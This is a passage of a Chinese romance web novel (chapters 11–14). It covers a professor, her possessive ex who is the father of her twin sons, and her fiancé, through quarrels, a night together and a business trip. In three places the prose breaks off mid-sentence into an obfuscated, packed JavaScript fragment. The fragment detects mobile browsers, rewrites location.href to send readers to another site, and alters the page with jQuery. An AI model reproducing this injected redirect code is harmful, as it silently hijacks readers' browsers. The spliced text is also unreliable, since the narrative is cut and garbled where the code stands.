早些年甄世明带着去酒局,晚上送他回来被方楷莹看到误会过,他也故意不解释,就想要看方楷莹吃味。 可惜方楷莹缺乏他想象中的小女人情趣,心里有疑问,大着肚子就直接跑到人家面前去问,也是这句“你是谁”。 大概也是那次,甄母知道甄世明在山顶别墅藏了个怀孕的女人。 “喂?你是谁啊!”甄美丽的跋扈彻底觉醒过来,“什么人呐!大清早打电话也不自报家门,上来还问我是谁,我是你姥——” “我是方楷莹。” “姥、姥。”她没能刹住车。 “恩,不用这么客气。”方楷莹说。 甄美丽两眼一翻,如果是方楷莹,那就能说通了,这女人有病。 甄美丽确实有点儿怕方楷莹,那次送甄世明回家,她也听到方楷莹问这句话,年少轻狂的她揽紧甄世明手臂,扬脸回了句你管得着嘛? 话音刚落,耳光随后。 大耳刮子扇在甄世明脸上。 甄美丽当时就懵了,想她那哥哥从小到大哪儿受过这个,揎拳捋袖就要战斗,却被他一把拉住,她还记得甄世明当时目光沉沉,盯着方楷莹,说那句话甄美丽能记三辈子。 “你打爽为止。” 她把自己知道的都向甄母汇报了一遍,不知道的是,当时方楷莹孕期激素紊乱,情绪疯狂反扑,和甄世明的关系堪比美苏冷战,她几天都不说一句话,而他只是希望方楷莹能把情绪发泄出来。 甄美丽作为旁观者觉得这女人疯得不轻,所以现在接到她的电话,甄美丽都犯怵,“你你你干什么?” “我母亲的墓,是你在交管理费吗?” 甄美丽早就忘了这茬,想了半天才记起来,“方霞的坟?” “算了,”方楷莹跟她说不清楚,“以后不需要了,我会交。” 方楷莹挂断电话,一个疑问有了答案,但无数个问题跟随而来。 这一定是甄世明授意的,但他…不是恨她吗?她隐隐发觉感受和事实出现了分歧。 或许该去看看赵医生了。 - 晚上她在家里做了芙蓉汤等未婚夫回来,等待的时间她整理之前的病例,又重新看过一遍。 时间过得不知不觉,汤凉掉,未婚夫也没回家。 已经很晚了,打了几个电话他都没接。方楷莹把汤热好装进保温盒里,走进未婚夫入职的夜耀新材公司。 大楼灯火通明,听他的同事吐槽本来不着急推进的项目,总部非要求限时拿出成果,汪先生所在的部门忙到没时间吃饭,现在还在开会。 “小声点儿,”同事捂嘴说:“听说今天是甄总在考察工作,所以才加这么晚,领导不走谁敢走啊!” 另一个同事讪讪道:“还是汪总工幸福啊,有未婚妻来送饭,怪不得这么拼,我要是有这样的未婚妻,猝死在工位也得给她留下抚恤金。” 方楷莹本想放下汤就走,可汪先生说不放心她独自回家,请她等等,很快下班。 他连口汤都没喝上又被叫去开会,方楷莹只好在办公室等他下班,坐在沙发上等了很久,不知不觉睡着了。 再一睁开眼,她躺在会客沙发,头枕一靠垫,肩上披着外套,外套领口是格外熟悉的干燥的木香。 方楷莹突然清醒,直坐起身。 甄世明坐着汪先生的椅子,长腿翘在桌上,姿态嚣张,手里端着她的保温饭盒,在方楷莹的注目下把最后一滴汤喝完。 方楷莹不可置信地微张着唇。 人怎么可以不要脸到这种地步! 她把他的外套甩到一边,从他手里抢过保温盒,她为汪先生准备好的芙蓉汤一滴不剩。 人怎么可以不要脸到这种地步! “厨艺退步了,”他淡定地拿方巾擦嘴,“我给你做芙蓉汤的时候,放这么多盐了吗?” 方楷莹看着早就没有实物的芙蓉汤,他喝完了,汪先生喝什么? “甄世明,这是他的办公室,汤也不是给你喝的!” 甄世明吃饱喝足仰靠在椅背,敲了敲扶手,非常霸道不讲理:“这是我的地盘,所有东西都是我的。” “你太没有边界感了!”她骂道:“喝我未婚夫的汤,扫我妈的墓,你明知道她不想见你。” 甄世明倏地起身,高大精悍的身体带来绝对的压迫感,他敛回笑意,墨色眼瞳和她对峙,丝毫没觉得自己做错什么。 “甄橙和甄芯见不到妈妈,不能见见妈妈的妈妈吗?我总得找点儿证据来证明你这个人确实存在吧。”他一字一顿地说:“我不在乎一个去世的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816792|190925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么想,我只在乎我儿子怎么想。” 她的委屈在这一刻被彻底激出来,眼圈也红红的,“你也知道橙橙和芯芯想见妈妈,可我现在回来了,你却让他们叫我方阿姨。” 甄世明扯唇一笑,掌心落在她的后颈,看似温柔地讥讽:“那不然呢?方阿姨今天给未婚夫送汤,明天再生出个小汪,甄橙和甄芯呢?哪天你又一走了之,留下谁来伤心?” 方楷莹胸口憋闷,呼吸也觉得艰难,甄世明的几句话像铅灌进胸腔,这话里边有多少委屈她听不出来,只觉得甄世明咄咄逼人。 “我没有边界感,你说走就走,说回来就回来,你有边界感吗?”既然要吵,就要有来有往,他最讨厌方楷莹吵着吵着就沉默,手上的力道渐重,“说话!” 她皱起眉挣扎,“放开我。” 甄世明不理会,反而将她拽到身前,她甚至能感觉到滚烫的呼吸扑在脸上,他的眼神执拗起来,更是握住她的手腕不放。 玻璃窗外走过几个人,甄世明的声音渐渐在方楷莹耳中变弱,因为她听到门外未婚夫的说话声,他在与同事交谈工作的事,很平静温柔的语调,却让方楷莹的心跳速度瞬间飙升。 “芙蓉汤是我教你做的,早知道有这么一天,我就应该教你往里放砒霜。你送什么不好非得送汤,你有边界感吗?你对前任的尊重呢?你——” 方楷莹捂住他时刻不停的嘴,低声斥道:“你闭嘴!” 甄世明瞳孔震颤,转而嗅到方楷莹手上的冷香,她用的仍是同一款护手霜。 对待这些东西倒是长情。 方楷莹用手势给甄世明“嘘”了一个,暗自庆幸百叶帘是合上的,她跑到窗边,手指拉开一道缝隙趴在窗边观察,未婚夫参加一个会议后紧接着又一个讨论会。 只是在门外经过。 幸好幸好。 她抚捋胸口安慰那颗狂跳的心脏,转而感觉不太对劲儿。 又不是偷情,怕什么? 往后一退,腰后被硬物硌住。 伸手一摸,是甄世明的皮带。 好像,不只是皮带。 那手感,多熟悉。 甄世明不知道何时站在她身后,和她一起顺着百叶帘缝隙看,她弓着腰偷偷摸摸,甄世明双手插兜,光明正大。 方楷莹尴尬地闭上眼睛,试图装作什么都没发生,五指展开默默挪手,却被一把按在原处,滚烫的手掌覆盖手背,指腹在细腕轻摩,窗外路过的人更让她有了偷情的实感,方楷莹咽下口水,不敢回头,一眼都不敢和甄世明对视。 “你别这样...” “哪样?” 她咬住唇壁,记忆如翻滚的波浪一下下拍在心口,她不能纵容再次被席卷,猛地挣开手。 “你这是耍流氓。”方楷莹早已将手攥成紧紧的拳头,柔软的耳骨被红粉晕染。 他呵笑一声,“是你把手放在我身上的,我怎么知道你想摸哪里?” 她捂住耳朵,双臂轻轻颤抖躲闪。 甄世明怎能顺她意,反而更恶劣扯开她捂耳的双臂,“咱俩分手才多久,你就找新人,是不是有点儿太饥渴了?你到底什么样儿他知道吗?” 12. 第 12 章 “闭嘴闭嘴!”方楷莹差点要尖叫起来,连头发也凌乱飞起,双手胡乱扑棱,打在他的胸口,“你不能这么欺负我!” 他总是轻而易举就让她失态。 她窜到门前,手忙脚乱开锁,却被遒劲有力的手臂拦腰扳过身子箍在怀里,甄世明的呼吸声就在耳边。 “说清楚,谁欺负谁?” 她的心跳和他一起震动,甄世明也气得不轻,沉沉呼吸带着狠意。 方楷莹的眼睛湿润了,倔倔地抿着嘴唇,甄世明伸出手指,在下巴上按下,他讨厌方楷莹抿唇,像是防御着,怕谁亲上去一样。 “这么忠贞,你爱他?” “跟你没关系。” “大半夜送汤送温暖,你爱他?” “跟你没关系!” “我怎么没这种待遇,你儿子也没这种待遇,你爱他?!” 方楷莹在他怀里缺氧,大脑在持续逼问下一片空白,她不知道自己做出了什么动作,只听到甄世明在耳边闷闷地哼了一声,又脸色苍白地捂住腹下。 剧烈的疼痛让甄世明身体差点要站不稳,他额前出了汗,脖颈青筋爆起,“你他妈来真的?” 这一脚,让甄世明冷静了。 她现在已经不是被他随意揉捏的小姑娘,就算头发凌乱,眼睛湿润,她也能毫不留情地踹出一脚。 “你别碰我!”方楷莹说。 得亏她手上没武器,不然就这架势,会不会捅他一刀也未可知。 情爱呢?时光呢?错付了。 甄世明一分钟都不想再待下去,迟早要被气死,他把怒气发泄在门上,狠狠踹开。 扬长而去前,他眸色深深,看向方楷莹倔强的眼睛。和她睡过那么多次,只看她湿润的眼睛,甄世明就知道她是伤心了,还是湿透了。 — 汪先生回到办公室时,方楷莹坐沙发上发呆,发梢乱七八糟折在颈窝,眼睛湿润像刚哭过。 办公室的门被踹坏了,都不用想是谁敢踹烂总工程师的门,他把门堪堪关上,搂住方楷莹的肩膀,关切问道:“发生了什么事?” 方楷莹木然地摇头,“没什么。” 未婚夫看了她一会儿,却始终没得到一个眼神的回应,她不想说,他也就不再追问,状似轻松地说:“你想回家吗?咱们现在回家。” 回到家已经是半夜,未婚夫不清楚发生了什么,只是看到方楷莹的状态不好,大概猜到两人偶然相遇不免又要因为孩子争吵一番,他叹口气,旧情人之间有了孩子,大概和离婚夫妻差不多。 他自己也在努力去过这个心坎。 只是方楷莹这样凉薄的人,不给他机会敞开心扉,就像她回到家就把自己锁进浴室,不给他开口安慰的机会。他无奈地拿出手上的资料,进到卧室继续没有完成的工作。 没过多久,方楷莹推开他的卧室房门。 她站在房门口,身上披着浴巾,没擦干的水滴顺着腿侧滴落在地,黑发湿凉,眼睫挂着清寒的水汽。 “你想做.爱吗?”她问。 - 翌日一早。 汪先生起床后不得不穿上高领毛衣来遮挡脖颈的吻痕,而方楷莹早已坐在电脑前查看邮件。 她昨晚睡在他的卧室, 这大概是第一次。 昨晚她的发梢凝结水珠,滚落在他的胸口,他第一次见到方楷莹主动的样子,全程几乎是她在主导,起伏的动作仿佛是在发泄某种情绪,最后她累到昏睡过去,背对着他。 “怎么不多睡会儿?”他站在身后,亲昵地抚摸她的脸颊。 “对不起,”她看着未婚夫遮掩的领口,不好意思地抓了抓头发,“昨晚是我太冲动了。” 汪先生的手停在微凉的脸侧,心情也忽然从高处坠下。本以为经过昨晚,他和方楷莹会以更为轻松的情侣方式相处,可她开口就是抱歉,仿佛在他身上留下吻痕是一个非常重大的错误,她愧疚,道歉,并且会真的反思改正。 他要怎么告诉她,他是她的未婚夫,既是法定婚姻的合作伙伴,也是爱着她的人。 她不需要为激烈的性.爱道歉。 “没关系的,”他垂眸说道:“没关系。” - 甄世明参加了第二天的汇报会,和汪先生见面的时候表现得很重视,脸上的表情堪称和蔼可亲,问他昨晚加班累不累,晚上吃了什么饭。 突然的关心让汪先生起了鸡皮疙瘩,感到莫名其妙,男人的第六感让他想起方楷莹昨晚送来的芙蓉汤。 那保温饭盒还在办公室。 但他依然保持微笑回应:“昨晚和团队一起吃的工作餐,食堂送来的。” 甄世明显然对他的答案很满意,“改天我也尝尝,不知道汤做得怎么样?” 汇报会前期开展顺利,甄世明玩世不恭地转着笔,以一种耐人寻味的眼神欣赏汪先生的演说。 会议中场,汪先生回到办公室,目光落在桌边的饭盒,他把饭盒放在面前,看了很久想了很久,最终叹口气,打开。 果然。 空的。 那是他和方楷莹的饭盒,从美国带回来的,她工作忙,大多数时候他给她送饭,有时她也给他送,这饭盒装热饭热汤,装为数不多的甜蜜温情。 他把保温饭盒从里到外洗了一遍,洗得手指骨节发红,洗洁精泡沫一个个破碎。 最后他把饭盒扔进垃圾桶,回到会议现场。 中场休息,他让助 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816793|190925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手把空调温度调高。 下半场开始后,屋子里的人都热,就连甄世明也觉得躁,解开一粒纽扣。汪先生更是在不经意间扯了扯毛衣领口,有眼尖的人,立刻捕捉到他脖颈处新鲜的吻痕,当着领导的面不好窃窃私语,便互相切换眼神。 他是主讲人,目光都投向他。 甄世明也不例外。 那些关注着甄总的高层,都看到甄世明上半场的松弛笑容逐渐消失,那冰冷的目光始终扎在汪先生身上。 汪先生忽然停下来,认真询问甄总有什么不对的地方吗? 甄世明唇角抽动,周围多双眼睛都在看他,他勉强笑笑,给了一个继续的手势。 会后,保洁清理会场,发现甄世明位置上扔着一支从中间断裂的签字笔。 甄世明开会前和开会后的态度完全不同,会后甚至没留下一条意见,会场出来之后直接坐着总裁专用电梯离开,所有人都战战兢兢,却都不知道发生了什么事情。 除了汪先生。 - 方楷莹实验室连续打了两个喷嚏,吴忧靠过来说一定是有人在想她。 “是不是汪老师在想您呀?” 吴忧是活泼的学生,方楷莹也不算严厉的导师,永远都是教养很好的样子,却又与人保持着距离感,大概也只有吴忧这样有一腔死皮赖脸的热情的人才能将她捂热。 一旦捂热,她就最喜欢吴忧。 收第一批学生时,她曾给每个有意于她的学生发过长邮件,阐明自己没经验且没资源,性格也不适合带学生,劝退了不少人,留下几个对她有滤镜,不介意的,其中最狂热的当属吴忧。 几乎是同一时间,研究院副院长给她推荐了一位亲戚,她拒绝了,后来吴忧问她,拒绝大佬不怕影响仕途吗? 她不解地反问:“当时我心选的名额已经满了,拒绝不是很正常的事吗?” 世界并不是非黑即白,而方楷莹自己拥有一个黑白分明的宇宙,她的小宇宙有自己的运行规则,遵守固定的程序和使命,几乎没有出错的时候。 唯一出错的一次,她不应该上甄世明的车,只是小小的一念,却差点摧毁整个宇宙。 所以当甄世明的车今天停在研究院门前,她在很远的地方就停住脚步。 路旁秋叶泛黄,一场雨后落叶飘散满地,两人在垂坠的落叶间对望,那片叶子最终降落在路边一汪水滩。 对于平静的水滩来说,一片落叶的重量会让整个世界摇晃。 她不往前走,车缓缓向她开来。 车窗上凌乱的雨点能证明甄世明是以什么样的速度从公司疾驰而来,车在她面前停稳,车窗降下,他转过头,脸上写满怨与恨。 “滚上来!” 13. 第 13 章 “滚上来。” 这话方楷莹耳熟。 车上的人眼圈红红,激怒他对任何人都没有任何好处,她毫不怀疑下一秒甄世明会猛踩油门撞过来,可她还是安静且倔强地伫立。 “你能不能别作了?”方楷莹耳朵发烫,尽量与他保持距离,“我们不能冷静说话吗?” 甄世明气得发笑,那只笔没插进汪先生的喉咙里,已经够冷静了。 “方楷莹,你可真行。”他紧锁的眉间舒展开,唇角依然紧绷,“昨晚和男人睡觉的时候能忍住不叫我的名字吗?” 方楷莹脸色微变目光躲闪,甄世明了然,猜对了。 “他知道你睡他的时候在想谁吗?” 方楷莹四下看看,路上无人经过,她趴在车窗外,拧紧眉吼他:“你要不要脸?!” 说时迟那时快,甄世明手臂一伸,越过副驾驶空位,死死掐住她的下巴,眉眼瞬间露出凶狠,“躲什么?!方楷莹,你拿我当套使呢?显你身边不缺男人是吧?” 即便是怒气爆发时刻,他仍觉得方楷莹的脸软绵绵,手感好极了,眼光垂下看着柔软的薄唇,唇线却又这么锋利,总是说出伤人的话。 然而她不仅会说锋利的语言,还会咬手。 低下脸张嘴,眉头鼻梁都皱起来,像气呼呼的孩子一样咬住不肯松口,刚咬住的时候甄世明还觉得表情有点儿可爱,但他毕竟肉体凡胎,这女人还偏偏用犬齿咬住掌心一小块皮肤,像针穿过那么疼。 “嘶——” 甄世明不得不松开手,被咬的皮肤留下深深的齿印,他不是皮糙肉厚那种男人,从手部皮肤的白细程度就能看出从来都是不沾阳春水的少爷,没咬穿就只能当是方楷莹嘴下留情。 方楷莹也不知为何,只要和甄世明在一起就会变得幼稚又计较。 方教授当街咬人,放在新闻上标题应该会被认为是搞科研的新疯法,可她实在没有办法,甄世明总是逼着她幼稚,逼着她计较,逼着她不能做一个体面的大人。 她盯着甄世明,很郑重地说:“我知道你看我过得好心里不平衡,我身边是有人,你身边不也有么?这么多年过去了,你有了新家庭,也有了女儿,能不能把对我的恨放下?就当为了橙橙和芯芯。” 两道齿痕逐渐散去,甄世明暗握紧拳,缓而轻地说道:“首先告诉你,不能。其次,谁给我造的遥?” 方楷莹:“?” 甄世明:“谁告诉你我有女儿?” “汪先生看到了,照片,三个孩子,你有女儿,芯芯说有妹妹。”方楷莹很老实地回答。 甄世明观察她的眉眼,长眼睫挡不住她眼中的一丝落寞,他心里有点平衡了。 拿出手机,翻开相册。 一张家庭大合照,方楷莹见过里面大多数人,甄世明的母亲,甄世明的姑姑,还有妹妹甄宝珠。 橙橙和芯芯坐在爷爷奶奶腿上,刚出生的小女孩被甄宝珠抱着。 方楷莹定睛细看,目光不经意瞥过甄世明的手腕,那道鲜红的纹身刺进她的眼中,在她心上扎了那么一下。 “看清楚了吗?”甄世明一字一顿道。 方楷莹低下头不做声。 甄世明又来劲儿,“汪总工真是的,随便看到一张照片就说是我的女儿,也许他希望那是我的女儿吧,这种男人自己都没有安全感,怎么给女人安全感?” 方楷莹:“......” 甄世明审判似的看着她,说:“你未婚夫喜欢造谣,人品有问题。” 方楷莹:“...他只是看错了,或许说错了。” 刚刚平复的心情立刻又被挑起怒火,甄世明被气得出气多进气少,“我不要脸,我欺负你,他看错了说错了?!方楷莹,你他妈偏心都偏到前门楼子了!” 方楷莹:“...你能不能消停点儿?” 甄世明无理取闹起来简直比孩子都难搞,方楷莹胸腔起伏,狠狠白他一眼。 “不能,我说不能!”甄世明狠狠咬牙:“你要结婚就别要儿子,想要儿子就受着。” 看着方楷莹情绪起伏,他掌心灼热的痛感变成微痒,心里有一种莫名的爽感。甄世明对爱恨的理解很简单:痛是恨,痒是爱,爱他最好,恨也行,但不能无关痛痒。 他不懂折中,不能释怀。 他要至真至纯,要浓墨重彩。 甄世明扔下话把车开走,看着后视镜里方楷莹的身影越来越远,他抬手,将微肿的掌心放在唇边,又咬下一道齿痕。 - 方楷莹回到家中,未婚夫正在卧室收拾行李。 他忙碌多天,头一次早早下班,见她回家一声招呼不打,取衬衫时还故意绕开了她。方楷莹坐在他床边也被无视,不知在抽什么风。 男人到底怎么了? 她想。 “你为什么收拾行李?”她看了十几分钟才问。 “公司通知我出差,”他把衬衫叠整齐,放进行李箱,兀自苦笑一下,“临时通知,今晚就走。” 方楷莹干巴巴地“哦”了一声,就不知道该再说什么,她和未婚夫平时交谈不多,大多数时候都是他说她听,现在他不说了,她也找不到话题来说,反而感觉两人之间有点儿陌生。 他合好行李箱,仰头看她,夕阳流光掠过她的发丝,让人心软,“如果你告诉我,不想让我去,我就把工作辞了。” 方楷莹听不懂他的言外之意,浅皱了下眉,“这不是和你专业相符的工作吗?你当时深思熟虑后拒绝了其他工作,怎么轻易就要放弃呢?而且,你想放弃为什么要我说?这是你的工作。” 汪先生:“……” 什么你的我的。 他与方楷莹交流困难,她总是听不懂弦外音言外意,大概只有甄世明那种直来直去说喜欢不喜欢,爱还是恨,她才能理解。 汪先生内心有种往回蜷缩的感觉,很多话就沉沉地哽在咽喉无法诉说。 “卫生都打扫干净了,冰箱里有我包的馄饨,晚上饿了自己煮一下,汤料按照一人份分好的,也在冰箱,拜托你件事。” “嗯,你说。”方楷莹很认真地回应。 未婚夫拿下床头柜的册子递给方楷莹,“我约了酒店沟通婚礼,你去一趟吧,我的想法都在里面,如果你不懂的话,随时给我打电话。” 方楷莹从来没见过手里的手册,或者说她大概没有在意过,她翻开厚厚的手册,未婚夫搜集了各种风格的婚礼,婚纱、场地、桌椅、伴手礼事事俱全,他还做了目录索引,足以看得出重视程度。 汪先生是少有对婚礼上心的男人。 他喜欢轻奢的西式风格,这一场婚礼下来大概要花不少钱,不想做行政老师跟这个也有关系。 方楷莹翻过几页就把册子合上,合上册子的那刻,未婚夫停下手上的忙碌,抬眼看着她,眼中有她看不出的失望。 “怎么了?” “我每次把这个册子给你,你都只翻前几页。” “......”她实话实说:“因为这个事项按照轻重缓急的程度来说——” “我们的婚礼对你来说并不是重要的事,”他拖动唇角笑笑,又低头收拾衣服,像是自言自语:“项目很紧急,成果很重要,就连男孩子割包.皮的优先级也比我高。” 方楷莹不解未婚夫的情绪为何波动,一切对她来说都是突如其来。 “橙橙是我儿子呀。” 她关心橙橙不是很正常嘛? 未婚夫烦躁地提起行李箱,滚轮接触地面,发出一声闷响。 他是个心思细腻温柔的人,现在也有些受不了方楷莹这种“懵懂”。这段时间他一直保持着宽容和克制,但自从在办公室发现那个空饭盒,他就难以再沉稳下去。 更不用提这刻意而为的突然出差,他得知陪他一起出差的是甄美丽,心里有一种不被情敌尊重的憋闷感。 这一招明晃晃的美人计简直是桌牌上的阳谋,甄世明大概以为这样就能考验他的忠诚,也料定他会被甄美丽搞定。 汪先生难得失去耐心,“橙橙是你儿子,你是妈妈,甄世明是爸爸。我是谁?” 方楷莹皱起眉,眯着眼睛看他,像一个近视患者在努力辨认什么,她在努力辨认未婚夫的脸,那张线条平顺温柔的脸上让她找不到愤怒的痕迹。 最后她揉揉眼睛,问:“你到底想说什么?” “你不明白?” “不明白。” 汪先生暗暗紧拳,他不会撒泼打滚,更不会锋芒相向,他只是一个想要稳定爱情与婚姻的普通男人。 “和我一起出差的是甄美丽,你认识吧?” 方楷莹点头,一脸更懵的表情。 “作为我未婚妻,我和漂亮的女同事出差,你不担心吗?” “你需要我担心吗?” 诚恳地发问一下子问住了他,他只不过是想看到方楷莹吃醋,看到方楷莹和他同样不安。 男女都贪心,都是既要又要。 一开始他被方楷莹的平静清冷吸引,现在又想要这个凉薄的人为他吃醋疯狂。 他不是十几二十岁的小伙子,早就不该冲动,但他想到昨夜,缠绵的时刻他开口问方楷莹感受,然而她抬手关上灯,后又捂住他的嘴... 他并不像是这场欢爱的参与者。 他实在想问问她,当时她在想谁,又把他当做是谁? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816794|190925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这句问出口,也许再没有回头路,他本来就没有任何优势,不是吗? “不需要担心我。”他松开拳头,轻拍方楷莹的肩膀,“你累了吧,早点休息。” 方楷莹实在不想再和人争论什么,他给了台阶,她就下。 “飞机几点?我送你吧。” 送他去机场的一路,方楷莹和他都没有说什么话,她专注于眼前的路况,他偏头看着窗外倒退的路灯,在同一辆车上,却像走着不同的道路,这时刻彼此才有些老夫老妻的实感,只不过是离心离德那种。 所以当甄美丽手提行李箱,风姿摇曳地走进航站楼向他们招手时,两人脸上都没有笑容。 “吵架了?”甄美丽看热闹不嫌事大。 “没有。”汪先生答。 甄美丽斜瞅一眼方楷莹,这女人还像以前一样不解风情,素白衬衫加上一张冷淡厌世的脸,看上去跟个回不了城的女知青似的,难怪甄母当时不待见她。 “方教授,这世界真小哈,”甄美丽敷衍笑笑,咬重音说:“你放心,甄总很重视汪总工的,特意嘱咐我好好照顾。” 方楷莹对明目张胆的挑衅也无动于衷,甚至直接忽视了她,转头对未婚夫说了句“一路顺风”,全程把甄美丽当空气,让她有种一拳打在棉花上的感觉。 自打甄美丽认识方楷莹,就知道她对谁都是拽上天的态度,和圆滑的社会人士不同,和一点就炸、一言不合就怼的人也不同,她不想理谁是真的拒绝交谈,更像是没有经过社会化训练的异类。 到底是谁给她的自信啊? 甄美丽气得翻白眼,蹬蹬蹬踩着高跟鞋先去安检。 “她都走了,你不走吗?”方楷莹看着甄美丽扭扭哒哒的背影,只以为是飞机要起飞了,所以她的步伐才快,高跟鞋才在地面踩出小锤砸墙声。 “你有没有发现...”未婚夫脸色很无奈,“从见到她开始,你没和她说过一句话。” “我是来送你的,不是来送她的。为什么要和她说话?”她语气真诚,实在疑惑。 “......” 未婚夫接过方楷莹身上的小背包,不知道该怎么跟她解释认识的人见面彼此都要打招呼这回事。 他真觉得累了。 “回家吧,早点儿回家吧。”他轻拍方楷莹的肩膀作为告别方式,同样无视旁边深情拥吻告别的情侣,这种方式并不适合他和方楷莹,“我去一周就回来,你照顾好自己。” 排队安检时,汪先生回头望了一眼,果然,瘦而高的身影早已不见。 她不会停留在原地望夫石般目送, 期待什么呢? 他失落地走过安检口,甄美丽早买好了两杯热咖啡,笑意盈盈地等他。 谁都想要知冷知热的爱人,可惜方楷莹是一块冰。 “她走了?”甄美丽递出咖啡。 “早走了。”汪先生接过咖啡。 提起方楷莹,两人同时叹气。 “我真的佩服你,和她生活在一起我会被逼疯的。”甄美丽玩着手指甲闲闲地说。 汪先生握紧咖啡杯,沉了一口气,“我觉得我们的关系没有那么熟,即便算是朋友,你也不应该在我面前说我未婚妻的坏话。” 甄美丽转过娇俏的脸打量一下,脸颊是桃花般的笑:“我是在夸你,没别的意思。” “我知道甄世明是什么意思?” “什么意思?” “美人计。” “你也觉得我美啊?” 她假装不懂,汪先生倒被问得有些脸红,甄美丽细白匀称的腿翘起,脚尖碰了碰汪先生的裤腿,“所以我猜汪先生的行李箱里装了避孕套。” “猜错了。”他正襟危坐。 甄美丽审视地看着汪先生,看出他长相周正,也看出他没说谎。 “那你也猜错了,我哥哥不会让我献身,只是普通的公务出行,”她收回目光,唇角翘起狡黠的笑意,“只是旅途无聊,我不介意给你讲讲你未婚妻和我哥哥的故事,当然,如果你想听的话。” 汪先生一直沉默到飞机起飞。 城市变成橙亮的小光点,眼前是灰白色的机舱壁,汪先生在黑暗的电视屏幕里看到自己毫无趣味的脸,偏眼看向旁边,甄美丽正在躺着敷面膜,她身上的淡粉色裙子大概是周围最亮的颜色。 甄美丽也感觉到有人注目,手指把面膜捋服帖,转头和汪先生对视。 “怎么了?”她敷着面膜说话不方便,鼻音重更显得音色娇滴滴。 他犹豫片刻说:“我想听听。” 甄美丽不解:“什么?” “我未婚妻和你哥哥的故事。” 14. 第 14 章 方楷莹觉得这下算是和甄世明闹僵了,他估计不会允许她再和孩子接触,此人向来小心眼儿,爱记仇,这次吵架不知道又要记到什么时候去。 可她刚走到机场的停车场,手机就响起来,熟悉的电话号码。 天色已经很晚,这个时候甄世明打电话给她,她有点儿犹豫要不要接,当第二次电话打进来,她深深呼吸,接起电话。 本来已经进入气势汹汹的吵架状态,电话那边却有稚嫩清脆的童声叫她“方阿姨”。 “哎,”她应声,语调不自觉变得温柔平缓,“怎么啦橙橙?” 橙橙性子急,讲话噼里啪啦:“方阿姨,我爸爸明天要工作,他说不能陪我们玩儿了,姑姑也要照顾羲羲,方阿姨能不能到咱们家来,爸爸说让我打电话问你——” 他的嘴被人捂住,支吾一会儿后,他又纠正说:“爸爸说他没说让我打电话,是我自己想问,明天能不能到我家来陪我和弟弟玩儿?” 方楷莹:“……” 有点儿纠结,不知该不该答应,和甄世明下午刚吵过架,再见面难免又会吵。 橙橙在电话里撒娇:“拜托拜托,我和芯芯都很想你,阿姨你一定要来哦!明天会降温,你来的时候要穿厚衣服哦!不然会着凉感冒难受的哦——” 橙橙话没说完手机就被夺走,甄世明不能纵容他再继续讲下去,不然他真能讲两个钟头。 他拿过手机却不着急说话,给橙橙找出画笔和纸,让孩子的精力有处发泄,他才能好好睡个觉。 方楷莹就坐在车里安静等着,尽管周围已经黑下来,她也能想象到有孩子的地方灯火温馨,橙橙估计要在沙发上跳来跳去,芯芯则安静坐在地毯拆卸某件玩具。 直到甄世明冰冷的声音打断她的想象。 “明天我要跨省签合同,一早就走,晚上回来,你早上七点来,晚上七点走,我们不用碰面。” 方楷莹:“......” 她担忧的问题还没问出口,就全都有了答案。 “当然了,你没时间或者不想见孩子——” “可以。” 她回答得如此爽利倒让甄世明措手不及,本来还准备了一大堆冷嘲热讽的话,这下没有用武之地了。 “那...就这样吧,需要注意的事项我微信发给你。”他停了会儿,说:“哦对了,先要方教授把我从黑名单里放出来。” 当初方楷莹把甄世明拉黑的时候,从没想过有这么一天,她硬着头皮重新添加微信好友,却不知道该用怎样的开场白,干脆什么都不说,开车回家。 机场到家路程一个小时,方楷莹回家之后打开微信,甄世明也始终没说一句话,两个人好像在微信里较劲,她扔下手机,打开电脑研究上午没看完的文献。 直到凌晨,甄世明才发来第一条微信。 【甄橙甄芯抚养手册.PDF】 她揉揉眼睛,漫不经心打开文件,看着文件页面下方的1/215陷入沉思。 这玩意儿比刚才看的文献还要长! 方楷莹:【你认真的吗?】 甄世明:【不然呢?】 方楷莹:...... 没有办法,她只能放下手上的文献,研究这本冗长的养娃手册。仔细看下来她才发现,甄世明这些年在养孩子这件事情上投入了不少精力。 孩子每个月的体重身高变化都做成图表,每个过敏症状的发生过程和过敏源都记录清楚,每个孩子在不同阶段喜欢吃的食物尽数罗列,补充的营养元素也都科学配比。 她还在手册里发现了橙橙和芯芯的智商检测报告,芯芯的智商高于普遍数据,橙橙喜欢画画,但专注力不够,芯芯喜欢拆解,但装不回去是常事。 两个孩子都是健康的好孩子。 甄世明把他们养得很好。 方楷莹熬夜看过整本手册,用心研究,信心满满可以搞定一天的照料。 第一步要准时出现。 